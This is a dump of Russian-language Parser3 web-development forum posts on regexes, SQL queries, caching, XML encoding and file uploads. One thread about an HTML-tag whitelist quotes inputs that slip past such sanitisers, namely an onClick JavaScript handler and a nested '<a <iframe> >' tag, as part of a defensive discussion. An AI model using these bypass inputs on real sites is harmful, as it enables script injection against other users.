	<\\/?em>|\
	<\\/?sub>|\
	<\\/?sup>|\
	<br\\s?\\/?>|\
	<a\\s+[^^><]*?>|\
	<img\\s+[^^><]*?>|\
	^$)][gx]{^taint[as-is][$match.1]}]\
\
$new[/code]"
"67310","Перепробовал практически все версии парсера - никаких сдвигов :(\
Какой Украинский хостинг посоветуете, где парсер идеально работает?"
"67311","Я может не совсем въехал, но мне например не очень понятно, зачем вообще что то красить пр попадании в БД.\
Вам не все равно в каком виде в базе лежат тэги? Красить, имхо, надо потом - при выводе в браузер.\
\
регулярки некоторые не совсем правильные, думаю надо так:\
\
[code]$new[^str.match[(\
	<\\/?p>|\
	<\\/?i>|\
	<\\/?b>|\
	<\\/?u>|\
	<\\/?strong>|\
	<\\/?em>|\
	<\\/?sub>|\
	<\\/?sup>|\
	<br(?:\\s*\\/)?>|\
	<\\/?a(?:\\s+[^^>]*)?>|\
	<\\/?img(?:\\s+[^^>]*)?>|\
	^$)][gx]{$match.1}]\
][/code]\
\
Мишин вариант чуток нехорош тем, что пропускает атрибуты у всех тегов, тогда как, если я правильно понял они разрешены только у a и img. Хотя и ваш вариант будет пропускать как минимум такое \
[code]<a href='#' onClick='alert('пшолн$х')'>Самый крутой сайт</a>[/code]\
т.е. если разрешаете ссылки - обрабатывайте еще и атрибуты, чтобы можно было только href='...' и alt='...' например."
"67312","[quote]\
мне например не очень понятно, зачем вообще что то красить пр попадании в БД.\
[/quote]\
\
+1 (завтра может захотется разрешить/запретить ещё один тег и?)\
\
\
<A|<B|<C|... в regexp-ах -- полный отстой, т.к. каждый символ будет N раз сравниваться с открывающей угловой скобкой (а в тексте символов _не_ скобок существенно больше).\
\
<(?:A|B|C|...) -- существенно лучше. так будет делаться только одно сравнение для символа \"не скобки\".\
\
P.S. a с onclick фигня по сравнению с </a z=\"huh?\"> %-)"
"67313","[code]<\\/?a(?:\\s+[^^<>]*)?>|\
<\\/?img(?:\\s+[^^<>]*)?>|[/code]\
\
иначе можно сделать <a <iframe> >\
\
\
Ну а если пользователь захотел [code]<a href='#' onClick='alert('пшолн$х')'>Самый крутой сайт</a>[/code], то пусть будет ему всё это."
"67314","[code]$new[^str.match[(\
	<\\/?(?:p|i|b|u|strong|em|sub|sup)>|\
	<br(?:\\s*\\/)?>|\
	<\\/?(?:a|img)(?:\\s+[^^<>]*)?>|\
	^$)][gx]{^taint[as-is][$match.1]}]\
[/code]\
[quote]</a z=\"huh?\">[/quote]\
это нормально. если пользователь не умеет писать тэги, то что уж тут поделать...\
полноценную проверку синтаксиса никто и не обещал :-)"
"67315","хотите сказать, что в такой конструкции \
<a <iframe> >\
браузер покажет iframe?\
\
Проверять лениво, поверю вам на слово, но по хорошему не должен\
\
[quote]Ну а если пользователь захотел\
<a href='#' onClick='alert('пшолн$х')'>Самый крутой сайт</a>\
, то пусть будет ему всё это.\
[/quote]\
\
ну если смотреть потом будет только он - то фиг с ним... а если другие? Пусть тоже будет им по заслугам?"
"67316","[quote]<A|<B|<C|... в regexp-ах -- полный отстой[/quote]\
\
+1. я просто на это и не смотрел. вынести < конечно можно.\
\
[quote]P.S. a с onclick фигня по сравнению с </a z=\"huh?\"> %-)[/quote]\
\
зависит от цели. Если данное вырезание нужно для админки и подразумевается, что знаний оператора достаточно, чтобы писать html (вместо визивика например) - то я бы либо вообще ничего не вырезал, либо вырезал только запрещенные тэги, которые низя, а не наоборот (+ можно какого нибудь валидатора подключить для проверки как раз синтаксиса).\
\
А если вырезание это будет работать где то в форуме, блоге, например, то </a z=\"huh?\"> <-  это как раз фигня. А вот возможность вставлять JS в тэг a - это прямая дорога на тот свет :)\
\
Но цели мы не знаем, не докладывают :)"
"67317","[quote]хотите сказать, что в такой конструкции\
<a <iframe> >\
браузер покажет iframe?\
\
Проверять лениво, поверю вам на слово, но по хорошему не должен[/quote]\
\
FF2 показал. В DOM попала ссылка без параметров, а за ней iframe.\
\
[quote]ну если смотреть потом будет только он - то фиг с ним... а если другие? Пусть тоже будет им по заслугам?[/quote]\
да, я понимаю, чем это грозит...\
но пока решили не вырезать."
"67319","- caller и default getter теперь не конфликтуют\
\
- символы '@' и '#', стоящие в начале строки, могут быть заэскейплены стандартным способом (^)\
\
- при ^file::load[...;http://...] $.cookies теперь также кодируются в %uXXXX\
\
- метод ^строка.pos[подстрока] теперь понимает второй параметр: позиция, с которой начинается поиск подстроки (с нуля)\
\
- добавлены методы ^строка.js-escape[] и ^string:js-unescape[escaped string], которые аналогичны функциям escape и unescape в javascript (кодируют/декодируют %uXXXX).\
\
\
брать [url=\"/download/beta/\"]где обычно[/url]"
"67321","после этого и [url=\"/forum/?id=67310\"]последующего[/url] ваших сообщений:\
\
- у меня создалось ощущение, что мне пытаются сесть на шею;\
\
- у меня пропало доверие ко всему, что вы сообщали ранее (\"перепробовал практически все версии парсера - никаких сдвигов\" -- как минимум с некоторыми версиями всё должно было переставать работать);\
\
- моё желание помогать вам с вашей проблемой стало равно 0 (если человек сам не желает приложить минимальных усилий для поиска решений своей проблемы -- значит оно ему в общем-то и не особо надо);\
\
=> я пас. может кто-то другой вам попробует помочь."
"67322","[quot]\
это нормально. если пользователь не умеет писать тэги, то что уж тут поделать...\
[/quot]\
\
хм. на мой взгляд это [b]не[/b] нормально: система не должна пропускать откровенные косяки, особенно в том случае, когда какая-то защита делается."
"67323","Приношу свои извинения! Я прочитал в FAQ как правильно задавать вопросы и понял что был не прав! Еще раз извиняюсь!\
\
а ларчик то просто открывался: стоило лишь перенести код формы из html файла в файл auto.p , как все заработало! Незнаю насколько это будет удобно, но для моих целей достаточно!\
\
Спасибо за потраченное на меня время!"
"67324","После апгрейда до 3.2.3 не работает ^if(def ^table.locate[..]) - всегда возвращает истину при проверке.\
Это глюк или изменение правил проверки булевых переменных?"
"67325","Если верить документации:\
\
[quote]Метод ищет в указанном столбце значение, равное искомому и возвращает логическое значение «истина/ложь» в зависимости от успеха поиска.[/quote]\
\
то выходит что \
\
[code]^if(def ^table.locate[]){}[/code]\
\
всегда true, т.е. все правильно, а такая проверка некорректна изначально и вместо нее надо писать\
\
[code]^if(^table.locate[]){}[/code]"
"67327","Так все же она существует?"
"67328","например http://avtomir.com/cgi-bin/parser3.cgi\
правда это выделенный арендованный сервер :)\
но админит его полностью суппорт агавы"
"67329","есть код\
\
[code]$result[\
	^cache[timer.cache](5){\
		$dNowDate[^date::now[]]\
		$sNextTourDate[^oSql.string{\
			SELECT dt_start FROM tour WHERE dt_start > '^dNowDate.sql-string[]'\
			ORDER BY dt_start LIMIT 1\
		}]\
		\
		^cache[^date::create[$sNextTourDate]]\
		\
		$sNextTourDate\
	}\
]\
[/code]\
\
вопрос : будет ли изменяться дата устаревания кэша ?"
"67330","Не отвечал долго так как был в отпуске"
"67332","Такие выражения обрабатываются?\
\
[code]^if(60 <= $result <= 100){$result(50)}[/code]\
\
Ошибок не выдает, но работает явно неверно. Обрабатывается только второй оператор."
"67334","Но хотелось бы попроще чтоб было"
"67337","Во всех известных мне императивных языках (С,С++,С#,PHP,Parser,Java и пр.) сложный предикат (условное выражение) записывается именно таким образом (60 <= $result && $result <= 100). Предлагаемый вами вариант введет в ступор практически всех. Да он удобнее, но настолько непривычен, что не стоит его даже пытаться делать - налицо принцип наименьшего удивления - интерфейс (а язык это интерфейс программиста с машиной) должен всегда разрабатываться по этому принципу.\
\
Даже в декларативном SQL предикаты (WHERE) пишутся так как в императивных языках.\
\
Кроме того, тут наверняка есть подводные камни при синтаксическом анализе выражения.\
\
PS: Короче нужно чтить традиции языков программирования"
"67339","Вакансия до сих пор открыта!!! Жду Ваши предложения!"
"67340","имеем xml-файл:\
[code]<PHOTO>\
<ITEM>PIC614.jpg</ITEM>\
<ITEM>PIC618.jpg</ITEM>\
</PHOTO>[/code]\
\
мне нужно получить названия этих двух файлов.\
делаю так:\
\
[code]$photo1[^node.selectString[string(../PHOTO/ITEM)]]\
$photo2[^node.selectString[string(../PHOTO/ITEM)]][/code]\
\
И... понятно, что $photo1 при этом равно $photo2\
\
Подскажите, как можно при selectString указать, что мне нужна 2-я (n-я) запись?"
"67341","не знаю xPath, но рискну предположить что как то так:\
[code]\
$photo2[^node.selectString[string(../PHOTO/ITEM[position() = 2])]][/code]\
\
если вторая или\
\
[code]$photo2[^node.selectString[string(../PHOTO/ITEM[position() = last()])]][/code]\
\
если последняя."
"67342","[code]\
$photo2[^node.selectString[string(../PHOTO/ITEM[2])]]\
[/code]"
"67346","При выполнении 4-го урока возникла проблема.\
Из лога:\
[Thu Jul 31 11:08:54 2008] [15764] /pr/admin/: /home2/apelsi/public_html/pr/admin/index.html(28:5): 'connect' connection string must start with protocol:// [parser.runtime] [uri=/pr/admin/, method=POST, cl=61]\
\
В чем может быть проблема?"
"67347","Проблема в том, что неопределена переменная $SQL.connect-string\
\
воспользуйтесь [url=\"http://www.parser.ru/forum/?terms=%22connection+string+must+start+with+protocol%22&author=&doSearch=%CD%E0%E9%F2%E8\"]поиском по форуму[/url]"
"67348","Посмотрите что у вас в подобном коде, в корневом auto.p:\
[code]\
@auto[]\
$connect_string[mysql://root@localhost/p3test] \
[/code]"
"67349","проблема ушла, не правильно был установлен драйвер.  спасибо за помощь!"
"67351","просто интересно, а что именно тут введет в ступор?\
\
^if(var1 && var2 && var3) никого же не вводит.\
\
кстати, а в функциональных языках так тоже не принято?"
"67352","Пытаемся установить Парсер на хостинге MTW (http://mtw.ru). Файл parser3.cgi закачен в режиме binary, установлены права на выполнение 755. При попытке обратиться к Парсеру напрямую (***.ru/cgi-bin/parser3.cgi) выдается Internal Server Error, в логах пишется о premature end of script headers.\
В чем тут может быть проблема?\
Было подозрение, что сборка Парсера не соответствует операционной системе сервера. В тех. поддержке сказали, что стоит попробовать версию для ALT Linux. В parser.ru/download/ я не нашел сборки для соответствующей ОС.\
Может быть, кто-то встречал таковую или знает ее аналоги? Или проблема не в версии?\
Пока пробовали сборки \"parser3_2_3_redhat73_cgi\" и \"parser3_2_1sp2_debian31sarge_cgi_xml\"."
"67357","Вот тут www.realty05.ru , при добавлении объявления, если указать контактынй телефон не сплошной строкой вида 9995577 а в виде 999-55-77, то SQL ругается что \"999-55-77 invalid number (double)\", хотя тип строки contact в базе указан как VARCHAR(255). Убираешь пробелы и лишние символы - и все проходит нормально.\
\
Что бы это могло быть?"
"67358","по-моему это ошибка парсера, а не SQL, привели бы строку кода, которая вызывает ошибку."
"67359","Почему-то ошибку дает это условие:\
\
^if(def ($form:contact || $cookie:agency) && ($form:real_rand eq $form:rand)){\
# Добавление данных в базу MySql\
...\
}"
"67360","$form:contact - это и есть телефон?\
тогда все верно...\
\
$form:contact и $cookie:agency не должны быть строками\
\
[code]\
^if((def $form:contact || def $cookie:agency) && ($form:real_rand eq $form:rand)){\
# Добавление данных в базу MySql\
...\
}\
[/code]"
"67361","<input type=text name=contact>\
\
Почему это не может быть строкой? И как тогда по вашему нужно его передавать?"
"67362","Так в чем был глюк?"
"67363","Сами же написали выражение в скобках:\
[code]\
^if(def ($form:contact || $cookie:agency)...\
[/code]\
\
Т.е. явно сказали парсеру перевести $form:contact и $cookie:agency в числа. Иными словами - вынести за скобки оператор не то же самое, что вынести за скобки множитель.\
\
p.s. И освойте в конце концов [url=http://www.parser.ru/forum/info.html]команды форматирования[/url]!"
"67365","Конструкция, приведенная ниже не работает. Понимаю, что что-то не так, начиная с ^if, но как сделать правильно?\
[code]\
^connect[$connect_string]{\
  $count[^int:sql{select count(*) from article\
  where\
    center='$form:center' AND\
    ^if(def $form:date_event1 & def $form:date_event2){\
      date_event >= $form:date_event1 and date_event <= $formLdate_event2}\
  }]\
}\
[/code]"
"67366","AND надо перенести внутрь ифа."
"67367","Переменные data_event1 и 2 по началу не определены. \
\
Вот из лога:\
Mon Aug  4 14:37:08 2008] [3702] /wano.html: /var/www/html/wano.html(30:15): 'select count(*) from article where center='' AND date_event >= AND date_event <= ' You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND date_event <=' at line 5 [sql.execute] [uri=/wano.html, method=GET, cl=0]\
\
Тогда вопрос упрощается. Можно ли использовать операторы парсера в SQL запросах, так же как в HTML?"
"67368","Использовать можно, только следите за синтаксисом.\
У Вас побитовый парсерный AND в проверке (&), сделайте логический (&&) и всё должно заработать. (+ см. мой предыдущий ответ).\
\
Ещё проверьте в каком типе данных хранится дата в базе и что приходит из формы (если date_event's вообще являются датами:-)"
"67371","Спасибо.\
\
В ближайшее время хочу переписать класс с учетом нововедений в последних версиях парсера. \
\
Заодно тогда и это туда можно будет включить.\
\
P.S. Вообще интересно много кто пользуется этими классами?"
"67372","[quote]В ближайшее время хочу переписать класс с учетом нововедений в последних версиях парсера.[/quote]\
\
Совместимость пропадёт.\
Придётся поддерживать две ветки.\
Если работает и не тормозит, то особого смысла «наводить красоту» нет.\
\
[quote]P.S. Вообще интересно много кто пользуется этими классами?[/quote]\
\
Не знаю, не отчитываются сволочи!!!\
\
Я пользуюсь, удобно."
"67373","Следующее в httpd.conf:\
[code]\
CacheRoot /usr/local/www/apache22/cache\
CacheEnable disk /\
\
CacheDirLength 4\
CacheDirLevels 5\
\
CacheMaxFileSize 4000000\
\
\
CacheDefaultExpire 3600\
\
CacheIgnoreCacheControl On\
CacheIgnoreNoLastMod On\
\
CacheStoreNoStore On\
CacheStorePrivate On\
[/code]\
\
Обычные статистические файлы нормально кэширует. А вот редиректы через mod_rewrite нет.\
\
В .htaccess следующее:\
[code]\
RewriteEngine On\
\
RewriteBase /\
\
RewriteCond	%{HTTP_USER_AGENT}	MSIE.*\
RewriteRule	^$	/ie/ [PT,QSA]\
\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^(.*)$	index.html?URI=/$1 [QSA,L]\
[/code]"
"67374","Стала такая задача: после изменения записи в Базе данных, необходимо обновить страницу, чтобы увидеть изменения.\
Сейчас я заставляю пользователя нажимать на кнопку \"обновить\" самостоятельно.\
\
Лучше бы было, если сэмулировать нажатие кнопки \"обновить\" типа как в javascript document.getElementById('renew_id').click();\
Как это можно сделать?\
\
Код:\
       ^connect[$connect_string]{ \
          ^void:sql{insert into city \
             (city_id, city_name) \
          values  \
             ('', '$city_name') \
          } \
          запись добавлена нажмите кнопку \"Обновить\" <br>\
#         ТУТ БЫ И СЭМУЛИРОВАТЬ НАЖАТИЕ КНОПКИ \
          }\
\
\
<input type=\"submit\" name=\"renew\" value=\"Обновить\" id=\"renew_id\" >"
"67375","Я обычно ставлю\
[code]$response:location[./][/code]\
если нужно сообщить типа \"запись добавлена\", то можно \
[code]alert(\"запись добавлена\")^; location.href='./'[/code]\
или засунуть сообщение в куки"
"67376","[quote]\
Я обычно ставлю \
$response:location[./]\
[/quote]\
Я тоже так делал, но так теряется связь с добавленным или измененным объектом (т.е. не передаются переменные формы, как будто в первый раз зашел на страницу). \
[quote]\
alert(\"запись добавлена\")^; location.href='./'\
[/quote]\
А это я не понял куда тулить, в событие onClick кнопки?\
\
Еще я пробовал отправлять пользователя на некоторую страницу, где сообщалось об успешности операции, и предлогалось вернутся к редактированию объекта. Но это все лишнии действия!"
"67377","не совсем ясно, зачем обновлять страницу?\
[code]\
^connect[$connect_string]{\
	^void:sql{insert into city\
		(city_id, city_name)\
	values\
		('', '$city_name')\
	}\
запись добавлена <br>\
#выбирем данные, вместе с добавленными\
$table[^table::sql{...}]\
}\
[/code]\
\
к чему производить лишние движения?"
"67378","[quote]Я тоже так делал, но так теряется связь с добавленным или измененным объектом (т.е. не передаются переменные формы, как будто в первый раз зашел на страницу).[/quote]\
тогда делайте $response:location с передачей нужных параметров формы\
[code]$response:location[?field1=value1&field2=value2][/code]\
или так\
[code]<script type=\"text/javascript\">alert(\"запись добавлена\")^; location.href='?field1=value1&field2=value2'</script>[/code]"
"67379","Затем что если пользователь нажмет Ф5 на странице с параметрами формы, то запись добавится еще раз"
"67380","ищем в тексте слова \"чтобы защититься от Reload\""
"67381","Спасибо!\
        <script type=\"text/javascript\"> \
        	document.getElementById('renew_id').click()\
        </script>\
то что мне надо!\
\
Ибо не хочу строку адреса засорять!"
"67382","а что делает клик по 'renew_id'?\
так, из спортивного интереса =)\
\
...\
сори, уже увидел. просто тогда можно сделать не клик по кнопке, а сразу form.submit()"
"67383","клик по 'renew_id'? - енто будет скрытая кнопка для обновления формы.\
А вот сразу form.submit что-то у меня не работает, либо руки не оттуда растут.\
В целом я с твоей помощью добился желаемого результата, СПАСИБО!"
"67384","а если другой пользователь добавит город с таким же названием, то он значит нормально запишется?\
\
По-моему лучше просто организовать проверку:\
[code]\
$iExists(^int:sql{select count(*) from city where city_name='$form:city'})\
^if($iExists){\
	Такая запись уже существует\
}{\
#добавляем в базу\
	^void:sql{...}\
}[code]"
"67385","Работает о_О! С ума сойти. Спасибо :-)."
"67387","Есть такая выборка\
$ob[^table::sql{SELECT * from mytable WHERE id = '$form:id'}]\
\
Если записи с этим id в базе уже нет, то выходит ошибка. А в случае с ^table::sql опция $.default не работает.\
\
Как по-правильному можно проверить существует ли запись с конкретным id, и только потом делать SELECT?"
"67388","[quote]Если записи с этим id в базе уже нет, то выходит ошибка.[/quote]\
\
Ошибку в студию."
"67389","Если записей нет то вам вернется пустая таблица, для того что бы проверить есть ли в таблице записе все что нужно сделать \
[code]\
$ob[^table::sql{SELECT * from mytable WHERE id = '$form:id'}]\
^if($ob){\
# Записи найдены, делаем все что нужно с таблицей\
\
}{\
	Записи не найдены.\
}\
[/code]"
"67390","К примеру, у меня есть файл с локализацией ru.p[quote]:\
\
[code]@auto[]\
\
$apple[яблоко]\
$ananas[ананас]\
$cherry[вишня]\
и т. д.[/code]\
\
\
Этот файл я подсоединяю в корневом auto.p :\
\
[code]@auto[]\
^use[/library/lang/ru.p][/code]\
\
И происходит что-то непонятное мне, когда я использую эти переменные локализации в одном и том же классе, то иногда они работают простым вызовом $apple, а иногда только как $MAIN:apple.\
\
Почему это может быть?"
"67391","Вы подключаете статический класс или просто пачку операторов?\
\
Если класс, то есть тонкость.\
Если находиться в классе MAIN и сделать вызов его поля (т.н. глобальной переменной) значение будет получено.\
Но если находиться в контексте пользовательского класса, то поиск переменной [url=http://www.parser.ru/docs/lang/defineclass.htm]происходит иначе[/url] и подобное поле не находится в текущем классе и его предках.\
\
Если операторы — приведите пример кода с локализованной ошибкой.\
\
\
Стоит из этого сделать следующие выводы:\
1. Во-первых, очень аккуратно использовать глобальные переменные.\
2. Во-вторых, всегда использовать их с префиксом «$MAIN:», что не только устранит приведённые вами «неясности», но и явно укажет на глобальность, чем упростит логику."
"67392","Спасибо, насчет видимости всё понял. Я использую эти переменные в статичных классах. Подскажите тогда, не критично ли использовать много переменных с $MAIN? Всё таки фраз которые надо сделать на разных языках очень много."
"67393","[quote]не критично ли использовать много переменных с $MAIN?[/quote]\
\
Что такое «много переменных с $MAIN», сколько сотен миллионов?..\
\
Если у вас такая архитектура — используйте сколько нужно, главное именовать по-человечески и «$MAIN:» использовать.\
Тогда запутаться даже в «большом» количестве будет сложно."
"67394","Спасибо большое. Переменных с $MAIN не много, может 500 :) Значит буду делать так :)"
"67395","Прошу сильно не пинать, 5 лет уже практически ничего парсером не писал.\
\
 С http сервера прилетает текст $http[^file::load[text;http://…]] Необходимо выдернуть из этого текста «значения» в некоторых различных тегах. Причем порядок вхождения «значений» важен.\
Регулярные выражение уже со скрипом написал, отлавливают нужные теги, осталось совсем малость: разбить исходный текст на строки и скормить рег. Выражениям. \
НО! Почему-то $httpd[^http.text.split[\\n;lv;text]] не разбивает. Может \\n чем-то другим заменить?. (win2k3 parser 3.2.2)\
\
P.S.(off) Как я уже писал выше, 5 лет плотно не занимался парсером, но по мелким надобностям пользовался(ну очень в душу запал). К сожалению, пришлось кардинально изменить род деятельности. И web в моей работе мало необходимо. Но как бы там ни было – большое спасибо всем кто помогал мне в его усвоении и понимании. Особенно многоуважаемым PAF и MISHA v3"
"67396","[quote]вопрос : будет ли изменяться дата устаревания кэша ?[/quote]\
\
изменяться когда?\
содержимое тела оператора cache выполняется не всегда.\
когда оно выполняется, и дело дойдёт до выполнения ^cache[^date::create[$sNextTourDate]], то время кеширования [b]может быть[/b] изменено, если значение, которое досталось из БД будет [b]меньше[/b], чем now+5 секунд."
"67398","Казалось бы, обычная ситуация:\
1) Аплоад файлов на сервер во временный файл\
2) Определение формата\
3) Если формат подошел - ресайз и сохранение, иначе - удаление временного файла\
Определение формата делаю так:\
Есть класс, в коде которого присутствует такое:\
[code]\
@upload[photo]\
^if($photo && $photo is \"file\"){ #мало ли, вдруг не файл\
	#генерим имя файлу: id_пользователя-мд5(текущая дата)\
	$uploaded_file[filenameXXX] \
	#место для записи временного файла\
	$temp_file[${IMGTEMP}${uploaded_file}]\
	^photo.save[binary;$temp_file]\
	$img[^NConvert::create[\
	#Путь, где лежит nconvert\
	$.sScriptPath[$NCONVERTPATH]\
	#Имя самого файла nconvert\
	$.sScriptName[$NCONVERT]\
	]]\
	^if(Iinit[$temp_file]){\
		#ресайзим и сохраняем\
		^Isave[]\
	}{\
		#удаляем временный файл\
		^Idelete[]\
	}\
}\
#end @upload[]\
\
########################################\
# с его помощью определяем формат\
@Iinit[tmp][_img]\
$_img[^img.info[$tmp]]\
\
^switch[$_img.sFormat]{\
	^case[jpeg]{\
		$self.ext[jpg]\
	}\
	^case[jpg]{\
		$self.ext[jpg]\
	}\
	^case[gif]{\
		$self.ext[gif]\
	}\
	^case[png]{\
		$self.ext[png]\
	}\
	^case[DEFAULT]{\
		$error_code[1]\
		$result[0]\
	}\
}\
#end @init[]\
[/code]\
На локальной машине с денвером работает.\
На сервере с Linux выдает ошибку:\
'info' Unknown image format '/temp/filenameXXX'\
Или я что-то не так делаю, или Nconvert под Linux определяет формат файла не по содержимому, а по расширению. \
\
\
P.S.\
Класс images.p отсюда: http://www.spearance.ru/parser3/pictures/source/\
по некоторым причинам не подходит."
"67399","У вас разные версии NConvert под Win и под Linux судя по всему. Для разных версий команда -info выдает разный stdout.\
\
Вам надо проверить что у вас выдает NConvert под Линукс и в зависимости от этого переписать regexp в методе @info\
\
P.S. У вас в коде используется не тот класс, ссылка который указана в конце поста, а этот http://kulikoff.net/parser3/img/"
"67400","Но при запуске из шелла nconvert выдает ошибку:\
./nconvert: error while loading shared libraries: libstdc++.so.6: cannot open shared object file: No such file or directory\
\
Пойду гуглить и пинать техподдержку)"
"67401","1) Попросить техподдержку установить libstdc++.so.6\
2) Использовать ImageMagic\
\
Простой записью в каталог с nconvert файла libstdc++.so.6 тут не обойдешься... почему-то. Пока не разобрался почему."
"67403","Пишу в коде вот так\
$document[^xdoc::create{<?xml version=\"1.0\"  encoding=\"utf-8\"?>  \
<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\
\
а когда создается xml \
там написано:\
  <?xml version=\"1.0\" encoding=\"WINDOWS-1251\" ?> \
- <urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\
\
 и файл сохранен с кодировкой WINDOWS-1251\
в чем могут быть грабли?"
"67404","при сохранении xdoc в качестве encoding автоматически указывается кодировка, указанная в момент сохранения в $request:charset. интернациональные буквы в сохраняемом xdoc также сохраняются именно в этой кодировке (при необходимости перекодируются).\
\
если у вас в $request:charset задано windows-1251 его значение не изменяется перед созданием xdoc, то вы некорректно указываете encoding в процессе создания xdoc: как только в теле вашего xml встретятся интернациональные символы, то xdoc создаваться перестанет и будет ошибка.\
\
правильный вариант если у вас в качестве $request:harset указана кодировка windows-1251: указать в @encoding создаваемого xml именно её.\
\
если необходимо сохранить xml файл именно в кодировке utf-8 (во многих случаях этого не требуется), то перед сохранением изменить значение $request:charset на utf-8 и после сохранения восстановить предыдущее значение.\
\
ещё один вариант (я его читаю совсем правильным): перекодировать все файлы в utf-8, указать в $request:charset utf-8 и забыть про хранение данных в других кодировках, а при выдаче броузерам, при необходимости, указывать в качестве $response:charset иную кодировку (например windows-1251)."
"67405","Я бы порекомендовал-таки положить в ru.p класс (вероятно статический) lang, и тогда вместо $MAIN:apple будем писать $lang:apple - немного логичней и проблем с глобальными переменными точно не будет."
"67406","Передаю переменные в виде <a href=\"?page=$i&center=$form:center&$date1&$date2\">$i</a> или в обработанном виде http://localhost/wano.html?page=2&center=moscow&1998-1-1&2002-1-1\
Потом вывод соответственно:\
[code]\
$form:page\
$form:center\
$form:date1\
$form:data2\
[/code]\
Переменные page, center отображаются нормально, а date1 и data2 - возвращаются пустыми. \
Почему так происходит?\
Могу, конечно, разбить дату отдельно на год, месяц и день, но это будет более громоздко."
"67408","- проверять ^if($photo) нехорошо. ведь в принципе может быть передана строка, которая в числовом контексте выдаст ошибку. лучше оставить просто ^if($photo is file\");\
\
- у вас комментарии не комментарии на самом деле. комментарием является строка только в том случае, если символ '#' находится в первой её позиции. кроме того часть комментарием избыточны, а ещё часть уже просто потеряла актуальность. избыточное комментирование тоже является злом;\
\
- слишком много tmp и temp. неужели нельзя придумать нормальные названия этмм переменным, которые отражают суть? (+ объявить их локальными);\
\
- $result[0] в Iinit: обычно statis==0 означает, что все хорошо, а если статус !=0 -- то он сообщяет об ошибке (ошибок может быть много разных). в своём коде также стоит придерживаться этого общепринятого правила;\
\
- ^case[jpeg]{...} + ^case[jpg]{...} => ^case[jpg;jpeg]{...} (а ещё может быть JPG  т.д., т.е. в switch лучше написать .lower[])."
"67411","Последняя версия в /usr/lib/ - .so.5.0.5... так что надо обновлять)"
"67412","или добавить 1 после ифа"
"67413","[quote]- слишком много tmp и temp. неужели нельзя придумать нормальные названия этмм переменным, которые отражают суть? (+ объявить их локальными);[/quote]\
Имена и отображают то, что нужно:\
$temp_file - ссылка на временный файл, который хранится на сервере, пока не удалится или не ресайзнется. \
${IMGTEMP} - путь к папке, в которой хранятся временные файлы (в оригинале прописано $CONST:IMGTEMP) и в классе $CONST хранятся все глобальные переменные. \
\
[quote]- $result[0] в Iinit: обычно statis==0 означает, что все хорошо, а если статус !=0 -- то он сообщяет об ошибке (ошибок может быть много разных). в своём коде также стоит придерживаться этого общепринятого правила;[/quote]\
^Iinit[] возвращает истину, если прошло все хорошо, т.е. подтверждает, что инициализация изображения на сервере прошла успешно: формат принят, ресайз сделан и т.д.. В случае, если не так, то прописывается код ошибки $error_code. Который и возвращается уже в конечном итоге, когда изображение обработано. \
Если $error_code==0 - радостно улыбаемся, если равен 1 - злобно ругаемся, что формат не тот, 2 - место на диске закончилось и т.д. \
Я же здесь не весь код привел, а только ключевой момент:)"
"67414","[quot]\
Имена и отображают то, что нужно:\
[/quot]\
\
угу, особенно тут: @Iinit[tmp]\
\
\
[quot]\
^Iinit[] возвращает истину, если прошло все хорошо\
[/quot]\
\
не видно что-то в коде этого. виден '0', если плохо.\
\
\
P.S. я лишь указал на то, что не понравилось в коде мне. будете учитывать это вы или нет -- мне до лампочки."
"67415","[quote]- ^case[jpeg]{...} + ^case[jpg]{...} => ^case[jpg;jpeg]{...} (а ещё может быть JPG т.д., т.е. в switch лучше написать .lower[]).[/quote]\
Может. Но Nconvert отдает их в нижнем регистре. \
А вот этого не знал: ^case[jpg;jpeg]\
Спасибо)"
"67416","На сколько я помню, true - это когда результат не равен нулю, false - когда результат равен нулю.\
\
p.s.\
что-то совсем отклонились от сути начального вопроса)"
"67417","однако в выражениях при сравнении переменных разных типов происходят автопреобразования, и false оказывается равно 0 и true оказывается равно 1.\
\
в вашем коде нет задания $result, если операция прошла успешно (задается только 0 если операция не завершилась успешно). \
не заданный result => возвращается стандартный output метода (который в вашем случае тоже пуст, точнее содержит пробельные символы) => ^if(^Iinit[...]) всегда пойдёт в else section (хотя возможно вы привели не весь код, если судить по явной синтаксической ошибке в этом if)."
"67418","http://localhost/wano.html?page=2&center=moscow&date1=1998-1-1&date2=2002-1-1"
"67419","Гружу с чужого сервера через ^file::load обычный хтмл файл, но с изъяном - на 7294-м символе там оказался x00. Файл нормально сохраняется но с содержимым работать не получается.\
\
Есть какой-нибудь способ обойти мину?"
"67420","[quot]\
Простой записью в каталог с nconvert файла libstdc++.so.6 тут не обойдешься... почему-то. Пока не разобрался почему.\
[/quot]\
\
Я имел ввиду другое. Что может не просто нужно ложить файл в каталог с nconvert, а указать к нему путь с помощью переменной LD_LIBRARY_PATH."
"67423","В основном шаблоне есть включение функции ^title[] в тайтле страницы. На страницах, которые дополняют шаблон есть соответственно переопределения этой функции @title[]\
\
Возникла задача, когда содержание тайтла можно узнать только в функции ^content[], которая вызывается уже после определения тайтла в главном шаблоне:\
В главном шаблоне примерно так:\
<title>^title[]</title>\
<body>\
^content[]\
</body>\
\
Можно какой-нить кастыль под такую ситуацию придумать?"
"67424","@main[]\
$s[^content[]]\
<title>^title[]</title>\
<body>\
$s\
</body>\
\
@content[]\
$x[.....]\
......\
\
@title[]\
$result[.... $x ....]"
"67425","В хелпе приводится пример (немного модифицируем его):\
[code]^if(def $form:picture){ \
   <p>Загружены изображения (^form:files.picture._count[]): \
   ^form:files.picture.foreach[sNum;fValue]{ \
      $sNum : $fValue.name ($fValue.size) \
      ^fValue.save[binary;/upload/pictures/${sNum}.^file:justext[$fValue.name]] \
   }[,] \
   </p> \
} \
<form method=\"POST\" enctype=\"multipart/form-data\"> \
   <p>Выберите несколько изображений для загрузки:<br /> \
   <input type=\"file\" name=\"picture\" /><br /> \
   <input type=\"file\" name=\"picture\" /><br /> \
   <input type=\"file\" name=\"picture\" /><br /> \
   <input type=\"file\" name=\"picture\" /><br /> \
   <input type=\"file\" name=\"picture\" /><br /> \
   <input type=\"submit\" value=\"OK\" /> \
   </p> \
</form>[/code]\
Выбираем три фотки в такой последовательности:\
DSC00003.JPG\
DSC00002.JPG\
DSC00001.JPG\
Субмитим и получаем:\
[code]Загружены изображения (3):\
